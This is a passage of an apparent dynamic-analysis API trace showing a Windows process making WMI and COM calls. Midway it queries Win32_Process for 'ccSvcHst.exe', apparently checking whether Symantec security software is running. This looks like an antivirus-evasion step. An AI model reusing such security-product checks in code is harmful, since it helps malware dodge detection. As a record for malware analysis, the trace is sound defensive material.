Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x377bad8 | out: ppv=0x377bad8*=0x377bb28) returned 0x0 [0079.194] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x377bb38 [0079.194] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x377c7d0 [0079.194] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x377c968 [0079.194] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0079.194] GetCurrentThreadId () returned 0x9ec [0079.194] _wcsnicmp (_String1="", _String2="[", _MaxCount=0x1) returned -91 [0079.194] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0079.195] GetCurrentThreadId () returned 0x9ec [0079.195] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Wbem\\Scripting", ulOptions=0x0, samDesired=0x1, phkResult=0x18eae4 | out: phkResult=0x18eae4*=0x26c) returned 0x0 [0079.195] RegQueryValueExW (in: hKey=0x26c, lpValueName="Default Namespace", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x18eaec*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x18eaec*=0x16) returned 0x0 [0079.195] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x377c988 [0079.195] RegQueryValueExW (in: hKey=0x26c, lpValueName="Default Namespace", lpReserved=0x0, lpType=0x0, lpData=0x377c988, lpcbData=0x18eaec*=0x16 | out: lpType=0x0, lpData=0x377c988*=0x72, lpcbData=0x18eaec*=0x16) returned 0x0 [0079.195] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x377c9c8 [0079.195] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0079.195] RegCloseKey (hKey=0x26c) returned 0x0 [0079.195] CoCreateInstance (in: rclsid=0x744d53b8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x744d50dc*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppv=0x18eb18 | out: ppv=0x18eb18*=0x377c830) returned 0x0 [0079.195] SysStringLen (param_1=".") returned 0x1 [0079.195] WbemDefPath:IWbemPath:SetServer (This=0x377c830, Name=".") returned 0x0 [0079.196] CoCreateInstance (in: rclsid=0x744d53b8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x744d50dc*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppv=0x18ead0 | out: ppv=0x18ead0*=0x377c8b0) returned 0x0 [0079.196] CoCreateInstance (in: rclsid=0x744d53b8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x744d50dc*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppv=0x18ea74 | out: ppv=0x18ea74*=0x3770810) returned 0x0 [0079.196] WbemDefPath:IWbemPath:SetText (This=0x3770810, uMode=0x4, pszPath="root\\cimv2") returned 0x0 [0079.196] WbemDefPath:IUnknown:Release (This=0x3770810) returned 0x0 [0079.196] SysStringLen (param_1="root\\cimv2") returned 0xa [0079.196] WbemDefPath:IWbemPath:SetText (This=0x377c8b0, uMode=0xc, pszPath="root\\cimv2") returned 0x0 [0079.196] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x377c8b0, puCount=0x18eae0 | out: puCount=0x18eae0*=0x2) returned 0x0 [0079.196] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x377c830) returned 0x0 [0079.196] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x377c8b0, uIndex=0x0, puNameBufLength=0x18eaa8*=0x0, pName=0x0 | out: puNameBufLength=0x18eaa8*=0x5, pName=0x0) returned 0x0 [0079.196] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x3770910 [0079.196] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x377c8b0, uIndex=0x0, puNameBufLength=0x18eaa8*=0x5, pName="텐ͷÄͷ" | out: puNameBufLength=0x18eaa8*=0x5, pName="root") returned 0x0 [0079.196] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0079.196] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x377c830, uIndex=0x0, pszName="root") returned 0x0 [0079.196] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x377c8b0, uIndex=0x1, puNameBufLength=0x18eaa8*=0x0, pName=0x0 | out: puNameBufLength=0x18eaa8*=0x6, pName=0x0) returned 0x0 [0079.196] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x3770990 [0079.196] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x377c8b0, uIndex=0x1, puNameBufLength=0x18eaa8*=0x6, pName="텐ͷÄͷ2" | out: puNameBufLength=0x18eaa8*=0x6, pName="cimv2") returned 0x0 [0079.196] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0079.196] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x377c830, uIndex=0x1, pszName="cimv2") returned 0x0 [0079.197] WbemDefPath:IUnknown:Release (This=0x377c8b0) returned 0x0 [0079.197] WbemDefPath:IWbemPath:GetText (in: This=0x377c830, lFlags=4, puBuffLength=0x18eafc*=0x0, pszText=0x0 | out: puBuffLength=0x18eafc*=0xf, pszText=0x0) returned 0x0 [0079.197] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x377c8a0 [0079.197] WbemDefPath:IWbemPath:GetText (in: This=0x377c830, lFlags=4, puBuffLength=0x18eafc*=0xf, pszText="ࠐͷÄͷ2" | out: puBuffLength=0x18eafc*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0079.197] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0079.197] WbemDefPath:IUnknown:Release (This=0x377c830) returned 0x0 [0079.197] WbemLocator:IWbemLocator:ConnectServer (in: This=0x377bb28, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale=0x0, lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0x18eb84 | out: ppNamespace=0x18eb84*=0x37710cc) returned 0x0 [0079.200] GetCurrentThreadId () returned 0x9ec [0079.200] GetCurrentThreadId () returned 0x9ec [0079.200] GetCurrentThreadId () returned 0x9ec [0079.200] PeekMessageA (in: lpMsg=0x18d658, hWnd=0x0, wMsgFilterMin=0xa0, wMsgFilterMax=0xa0, wRemoveMsg=0x3 | out: lpMsg=0x18d658) returned 0 [0079.200] PeekMessageA (in: lpMsg=0x18d658, hWnd=0x0, wMsgFilterMin=0xf, wMsgFilterMax=0xf, wRemoveMsg=0x3 | out: lpMsg=0x18d658) returned 0 [0079.200] PeekMessageA (in: lpMsg=0x18d658, hWnd=0x0, wMsgFilterMin=0x113, wMsgFilterMax=0x113, wRemoveMsg=0x3 | out: lpMsg=0x18d658) returned 0 [0080.043] IMessageFilter:MessagePending (This=0x3822054, htaskCallee=0x0, dwTickCount=0x0, dwPendingType=0x1) returned 0x2 [0080.043] GetCurrentThreadId () returned 0x9ec [0080.043] GetCurrentThreadId () returned 0x9ec [0080.043] GetCurrentThreadId () returned 0x9ec [0080.043] PeekMessageA (in: lpMsg=0x18e068, hWnd=0x0, wMsgFilterMin=0xa0, wMsgFilterMax=0xa0, wRemoveMsg=0x3 | out: lpMsg=0x18e068) returned 0 [0080.043] PeekMessageA (in: lpMsg=0x18e068, hWnd=0x0, wMsgFilterMin=0xf, wMsgFilterMax=0xf, wRemoveMsg=0x3 | out: lpMsg=0x18e068) returned 0 [0080.043] PeekMessageA (in: lpMsg=0x18e068, hWnd=0x0, wMsgFilterMin=0x113, wMsgFilterMax=0x113, wRemoveMsg=0x3 | out: lpMsg=0x18e068) returned 0 [0080.145] IMessageFilter:MessagePending (This=0x3822054, htaskCallee=0x0, dwTickCount=0x0, dwPendingType=0x1) returned 0x2 [0080.145] GetCurrentThreadId () returned 0x9ec [0080.145] GetCurrentThreadId () returned 0x9ec [0080.145] GetCurrentThreadId () returned 0x9ec [0080.145] PeekMessageA (in: lpMsg=0x18e1c0, hWnd=0x0, wMsgFilterMin=0xa0, wMsgFilterMax=0xa0, wRemoveMsg=0x3 | out: lpMsg=0x18e1c0) returned 0 [0080.145] PeekMessageA (in: lpMsg=0x18e1c0, hWnd=0x0, wMsgFilterMin=0xf, wMsgFilterMax=0xf, wRemoveMsg=0x3 | out: lpMsg=0x18e1c0) returned 0 [0080.145] PeekMessageA (in: lpMsg=0x18e1c0, hWnd=0x0, wMsgFilterMin=0x113, wMsgFilterMax=0x113, wRemoveMsg=0x3 | out: lpMsg=0x18e1c0) returned 0 [0080.146] IMessageFilter:MessagePending (This=0x3822054, htaskCallee=0x0, dwTickCount=0x0, dwPendingType=0x1) returned 0x2 [0080.146] GetCurrentThreadId () returned 0x9ec [0080.146] GetCurrentThreadId () returned 0x9ec [0080.146] GetCurrentThreadId () returned 0x9ec [0080.147] PeekMessageA (in: lpMsg=0x18e230, hWnd=0x0, wMsgFilterMin=0xa0, wMsgFilterMax=0xa0, wRemoveMsg=0x3 | out: lpMsg=0x18e230) returned 0 [0080.147] PeekMessageA (in: lpMsg=0x18e230, hWnd=0x0, wMsgFilterMin=0xf, wMsgFilterMax=0xf, wRemoveMsg=0x3 | out: lpMsg=0x18e230) returned 0 [0080.147] PeekMessageA (in: lpMsg=0x18e230, hWnd=0x0, wMsgFilterMin=0x113, wMsgFilterMax=0x113, wRemoveMsg=0x3 | out: lpMsg=0x18e230) returned 0 [0080.147] IMessageFilter:MessagePending (This=0x3822054, htaskCallee=0x0, dwTickCount=0x0, dwPendingType=0x1) returned 0x2 [0080.147] GetCurrentThreadId () returned 0x9ec [0080.147] GetCurrentThreadId () returned 0x9ec [0080.147] GetCurrentThreadId () returned 0x9ec [0080.147] PeekMessageA (in: lpMsg=0x18e228, hWnd=0x0, wMsgFilterMin=0xa0, wMsgFilterMax=0xa0, wRemoveMsg=0x3 | out: lpMsg=0x18e228) returned 0 [0080.147] PeekMessageA (in: lpMsg=0x18e228, hWnd=0x0, wMsgFilterMin=0xf, wMsgFilterMax=0xf, wRemoveMsg=0x3 | out: lpMsg=0x18e228) returned 0 [0080.148] PeekMessageA (in: lpMsg=0x18e228, hWnd=0x0, wMsgFilterMin=0x113, wMsgFilterMax=0x113, wRemoveMsg=0x3 | out: lpMsg=0x18e228) returned 0 [0080.483] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x3770c08 [0080.483] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x37710e0 [0080.483] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x3771140 [0080.483] WbemLocator:IUnknown:QueryInterface (in: This=0x37710cc, riid=0x744d31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18ea54 | out: ppvObject=0x18ea54*=0x146082c) returned 0x0 [0080.483] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x146082c, pProxy=0x37710cc, pAuthnSvc=0x18ea44, pAuthzSvc=0x18ea48, pServerPrincName=0x0, pAuthnLevel=0x18ea70, pImpLevel=0x18ea6c, pAuthInfo=0x0, pCapabilites=0x18ea5c | out: pAuthnSvc=0x18ea44*=0xa, pAuthzSvc=0x18ea48*=0x0, pServerPrincName=0x0, pAuthnLevel=0x18ea70*=0x6, pImpLevel=0x18ea6c*=0x2, pAuthInfo=0x0, pCapabilites=0x18ea5c*=0x1) returned 0x0 [0080.483] WbemLocator:IUnknown:Release (This=0x146082c) returned 0x1 [0080.483] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0080.483] GetCurrentThreadId () returned 0x9ec [0080.484] WbemLocator:IUnknown:QueryInterface (in: This=0x37710cc, riid=0x744d31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18ea84 | out: ppvObject=0x18ea84*=0x146082c) returned 0x0 [0080.484] WbemLocator:IClientSecurity:CopyProxy (in: This=0x146082c, pProxy=0x37710cc, ppCopy=0x18ea88 | out: ppCopy=0x18ea88*=0x377d194) returned 0x0 [0080.484] WbemLocator:IUnknown:QueryInterface (in: This=0x377d194, riid=0x744d31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18e9a0 | out: ppvObject=0x18e9a0*=0x146082c) returned 0x0 [0080.484] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x146082c, pProxy=0x377d194, pAuthnSvc=0x18e9c4, pAuthzSvc=0x18e9b4, pServerPrincName=0x0, pAuthnLevel=0x0, pImpLevel=0x0, pAuthInfo=0x0, pCapabilites=0x0 | out: pAuthnSvc=0x18e9c4*=0xa, pAuthzSvc=0x18e9b4*=0x0, pServerPrincName=0x0, pAuthnLevel=0x0, pImpLevel=0x0, pAuthInfo=0x0, pCapabilites=0x0) returned 0x0 [0080.484] WbemLocator:IUnknown:Release (This=0x146082c) returned 0x3 [0080.484] WbemLocator:IUnknown:QueryInterface (in: This=0x377d194, riid=0x744d34f0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18e978 | out: ppvObject=0x18e978*=0x146084c) returned 0x0 [0080.484] WbemLocator:IUnknown:QueryInterface (in: This=0x377d194, riid=0x744d31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18e97c | out: ppvObject=0x18e97c*=0x146082c) returned 0x0 [0080.484] WbemLocator:IClientSecurity:SetBlanket (This=0x146082c, pProxy=0x377d194, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0080.485] WbemLocator:IUnknown:Release (This=0x146082c) returned 0x4 [0080.485] WbemLocator:IUnknown:Release (This=0x146084c) returned 0x3 [0080.485] WbemLocator:IUnknown:Release (This=0x146082c) returned 0x2 [0080.485] WbemLocator:IUnknown:AddRef (This=0x377d194) returned 0x3 [0080.485] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x377d1a8 [0080.485] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x377cb88 [0080.485] WbemLocator:IUnknown:Release (This=0x37710cc) returned 0x2 [0080.485] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0080.485] GetCurrentThreadId () returned 0x9ec [0080.486] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0080.486] GetCurrentThreadId () returned 0x9ec [0080.486] WbemLocator:IUnknown:QueryInterface (in: This=0x377d194, riid=0x744d31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18eb48 | out: ppvObject=0x18eb48*=0x146082c) returned 0x0 [0080.486] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x146082c, pProxy=0x377d194, pAuthnSvc=0x18eb38, pAuthzSvc=0x18eb3c, pServerPrincName=0x0, pAuthnLevel=0x18eb68, pImpLevel=0x18eb6c, pAuthInfo=0x0, pCapabilites=0x18eb50 | out: pAuthnSvc=0x18eb38*=0xa, pAuthzSvc=0x18eb3c*=0x0, pServerPrincName=0x0, pAuthnLevel=0x18eb68*=0x6, pImpLevel=0x18eb6c*=0x3, pAuthInfo=0x0, pCapabilites=0x18eb50*=0x20) returned 0x0 [0080.486] WbemLocator:IUnknown:Release (This=0x146082c) returned 0x2 [0080.486] CreatePointerMoniker (in: punk=0x3770c08, ppmk=0x18ecf8 | out: ppmk=0x18ecf8*=0x146b760) returned 0x0 [0080.486] IUnknown:AddRef (This=0x3770c08) returned 0x2 [0080.487] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0080.487] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0080.487] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0080.487] WbemLocator:IUnknown:Release (This=0x377bb28) returned 0x0 [0080.487] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0080.487] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0080.487] WinMGMTS:IUnknown:Release (This=0x377bab0) returned 0x0 [0080.487] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0080.487] IUnknown:Release (This=0x143cb88) returned 0x0 [0080.487] BindMoniker (in: pmk=0x146b760, grfOpt=0x0, iidResult=0x7295a460*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvResult=0x18ed70 | out: ppvResult=0x18ed70*=0x3770c08) returned 0x0 [0080.487] IUnknown:QueryInterface (in: This=0x3770c08, riid=0x7295a460*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18ed70 | out: ppvObject=0x18ed70*=0x3770c08) returned 0x0 [0080.487] IUnknown:Release (This=0x146b760) returned 0x0 [0080.487] IUnknown:Release (This=0x3770c08) returned 0x1 [0080.488] LoadRegTypeLib (in: rguid=0x744d364c*(Data1=0x565783c6, Data2=0xcb41, Data3=0x11d1, Data4=([0]=0x8b, [1]=0x2, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0x6, [6]=0xd9, [7]=0xb6)), wVerMajor=0x1, wVerMinor=0x0, lcid=0x409, pptlib=0x18eca4*=0x0 | out: pptlib=0x18eca4*=0x146bd90) returned 0x0 [0080.492] ITypeLib:GetTypeInfoOfGuid (in: This=0x146bd90, GUID=0x3770c3c*(Data1=0xd2f68443, Data2=0x85dc, Data3=0x427e, Data4=([0]=0x91, [1]=0xd8, [2]=0x36, [3]=0x65, [4]=0x54, [5]=0xcc, [6]=0x75, [7]=0x4c)), ppTInfo=0x3770c30 | out: ppTInfo=0x3770c30*=0x14a8f3c) returned 0x0 [0080.492] IUnknown:Release (This=0x146bd90) returned 0x1 [0080.492] IUnknown:AddRef (This=0x14a8f3c) returned 0x2 [0080.493] DispGetIDsOfNames (in: ptinfo=0x14a8f3c, rgszNames=0x18ed00*="ExecQuery", cNames=0x1, rgdispid=0x18ed04 | out: rgdispid=0x18ed04*=9) returned 0x0 [0080.493] IUnknown:Release (This=0x14a8f3c) returned 0x1 [0080.493] IUnknown:AddRef (This=0x14a8f3c) returned 0x2 [0080.493] ITypeInfo:LocalInvoke (This=0x14a8f3c) returned 0x0 [0080.493] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0080.493] GetCurrentThreadId () returned 0x9ec [0080.493] WbemLocator:IUnknown:AddRef (This=0x377d194) returned 0x3 [0080.493] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0080.493] GetCurrentThreadId () returned 0x9ec [0080.493] IWbemServices:ExecQuery (in: This=0x377d194, strQueryLanguage="WQL", strQuery="SELECT Name FROM Win32_Process WHERE Name='ccSvcHst.exe'", lFlags=272, pCtx=0x0, ppEnum=0x18ea74 | out: ppEnum=0x18ea74*=0x377bb3c) returned 0x0 [0080.494] IMessageFilter:MessagePending (This=0x3822054, htaskCallee=0x0, dwTickCount=0x0, dwPendingType=0x1) returned 0x2 [0080.494] GetCurrentThreadId () returned 0x9ec [0080.494] GetCurrentThreadId () returned 0x9ec [0080.494] GetCurrentThreadId () returned 0x9ec [0080.494] PeekMessageA (in: lpMsg=0x18e274, hWnd=0x0, wMsgFilterMin=0xa0, wMsgFilterMax=0xa0, wRemoveMsg=0x3 | out: lpMsg=0x18e274) returned 0 [0080.494] PeekMessageA (in: lpMsg=0x18e274, hWnd=0x0, wMsgFilterMin=0xf, wMsgFilterMax=0xf, wRemoveMsg=0x3 | out: lpMsg=0x18e274) returned 0 [0080.494] PeekMessageA (in: lpMsg=0x18e274, hWnd=0x0, wMsgFilterMin=0x113, wMsgFilterMax=0x113, wRemoveMsg=0x3 | out: lpMsg=0x18e274) returned 0 [0080.506] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x377c7d0 [0080.506] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x377d208 [0080.506] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x377d268 [0080.507] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x377c9a8 [0080.507] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x377d2c8 [0080.507] IUnknown:QueryInterface (in: This=0x377bb3c, riid=0x744d31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18e98c | out: ppvObject=0x18e98c*=0x377bb40) returned 0x0 [0080.507] IClientSecurity:QueryBlanket (in: This=0x377bb40, pProxy=0x377bb3c, pAuthnSvc=0x18e97c, pAuthzSvc=0x18e980, pServerPrincName=0x0, pAuthnLevel=0x18e9a8, pImpLevel=0x18e9a4, pAuthInfo=0x0, pCapabilites=0x18e994 | out: pAuthnSvc=0x18e97c*=0xa, pAuthzSvc=0x18e980*=0x0, pServerPrincName=0x0, pAuthnLevel=0x18e9a8*=0x6, pImpLevel=0x18e9a4*=0x2, pAuthInfo=0x0, pCapabilites=0x18e994*=0x1) returned 0x0 [0080.507] IUnknown:Release (This=0x377bb40) returned 0x1 [0080.507] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0080.507] GetCurrentThreadId () returned 0x9ec [0080.507] WbemLocator:IUnknown:QueryInterface (in: This=0x377d194, riid=0x744d31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18e970 | out: ppvObject=0x18e970*=0x146082c) returned 0x0 [0080.507] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x146082c, pProxy=0x377d194, pAuthnSvc=0x18e960, pAuthzSvc=0x18e964, pServerPrincName=0x0, pAuthnLevel=0x18e990, pImpLevel=0x18e994, pAuthInfo=0x0, pCapabilites=0x18e978 | out: pAuthnSvc=0x18e960*=0xa, pAuthzSvc=0x18e964*=0x0, pServerPrincName=0x0, pAuthnLevel=0x18e990*=0x6, pImpLevel=0x18e994*=0x3, pAuthInfo=0x0, pCapabilites=0x18e978*=0x20) returned 0x0 [0080.507] WbemLocator:IUnknown:Release (This=0x146082c) returned 0x3 [0080.507] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0080.507] GetCurrentThreadId () returned 0x9ec [0080.508] WbemLocator:IUnknown:QueryInterface (in: This=0x377d194, riid=0x744d31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18e970 | out: ppvObject=0x18e970*=0x146082c) returned 0x0 [0080.508] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x146082c, pProxy=0x377d194, pAuthnSvc=0x18e960, pAuthzSvc=0x18e964, pServerPrincName=0x0, pAuthnLevel=0x18e994, pImpLevel=0x18e990, pAuthInfo=0x0, pCapabilites=0x18e978 | out: pAuthnSvc=0x18e960*=0xa, pAuthzSvc=0x18e964*=0x0, pServerPrincName=0x0, pAuthnLevel=0x18e994*=0x6, pImpLevel=0x18e990*=0x3, pAuthInfo=0x0, pCapabilites=0x18e978*=0x20) returned 0x0 [0080.508] WbemLocator:IUnknown:Release (This=0x146082c) returned 0x3 [0080.508] IUnknown:QueryInterface (in: This=0x377bb3c, riid=0x744d31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18e9bc | out: ppvObject=0x18e9bc*=0x377bb40) returned 0x0 [0080.508] IClientSecurity:CopyProxy (in: This=0x377bb40, pProxy=0x377bb3c, ppCopy=0x18e9c0 | out: ppCopy=0x18e9c0*=0x377d40c) returned 0x0 [0080.508] IUnknown:QueryInterface (in: This=0x377d40c, riid=0x744d31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18e8d8 | out: ppvObject=0x18e8d8*=0x377d410) returned 0x0 [0080.508] IClientSecurity:QueryBlanket (in: This=0x377d410, pProxy=0x377d40c, pAuthnSvc=0x18e8fc, pAuthzSvc=0x18e8ec, pServerPrincName=0x0, pAuthnLevel=0x0, pImpLevel=0x0, pAuthInfo=0x0, pCapabilites=0x0 | out: pAuthnSvc=0x18e8fc*=0xa, pAuthzSvc=0x18e8ec*=0x0, pServerPrincName=0x0, pAuthnLevel=0x0, pImpLevel=0x0, pAuthInfo=0x0, pCapabilites=0x0) returned 0x0 [0080.508] IUnknown:Release (This=0x377d410) returned 0x3 [0080.508] IUnknown:QueryInterface (in: This=0x377d40c, riid=0x744d34f0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18e8b0 | out: ppvObject=0x18e8b0*=0x14b255c) returned 0x0 [0080.508] IUnknown:QueryInterface (in: This=0x377d40c, riid=0x744d31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18e8b4 | out: ppvObject=0x18e8b4*=0x377d410) returned 0x0 [0080.508] IClientSecurity:SetBlanket (This=0x377d410, pProxy=0x377d40c, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0080.509] IMessageFilter:MessagePending (This=0x3822054, htaskCallee=0x0, dwTickCount=0x0, dwPendingType=0x1) returned 0x2 [0080.509] GetCurrentThreadId () returned 0x9ec [0080.509] GetCurrentThreadId () returned 0x9ec [0080.509] GetCurrentThreadId () returned 0x9ec [0080.509] PeekMessageA (in: lpMsg=0x18df28, hWnd=0x0, wMsgFilterMin=0xa0, wMsgFilterMax=0xa0, wRemoveMsg=0x3 | out: lpMsg=0x18df28) returned 0 [0080.509] PeekMessageA (in: lpMsg=0x18df28, hWnd=0x0, wMsgFilterMin=0xf, wMsgFilterMax=0xf, wRemoveMsg=0x3 | out: lpMsg=0x18df28) returned 0 [0080.509] PeekMessageA (in: lpMsg=0x18df28, hWnd=0x0, wMsgFilterMin=0x113, wMsgFilterMax=0x113, wRemoveMsg=0x3 | out: lpMsg=0x18df28) returned 0 [0080.510] IMessageFilter:MessagePending (This=0x3822054, htaskCallee=0x0, dwTickCount=0x0, dwPendingType=0x1) returned 0x2 [0080.510] GetCurrentThreadId () returned 0x9ec [0080.510] GetCurrentThreadId () returned 0x9ec [0080.510] GetCurrentThreadId () returned 0x9ec [0080.510] PeekMessageA (in: lpMsg=0x18e06c, hWnd=0x0, wMsgFilterMin=0xa0, wMsgFilterMax=0xa0, wRemoveMsg=0x3 | out: lpMsg=0x18e06c) returned 0 [0080.510] PeekMessageA (in: lpMsg=0x18e06c, hWnd=0x0, 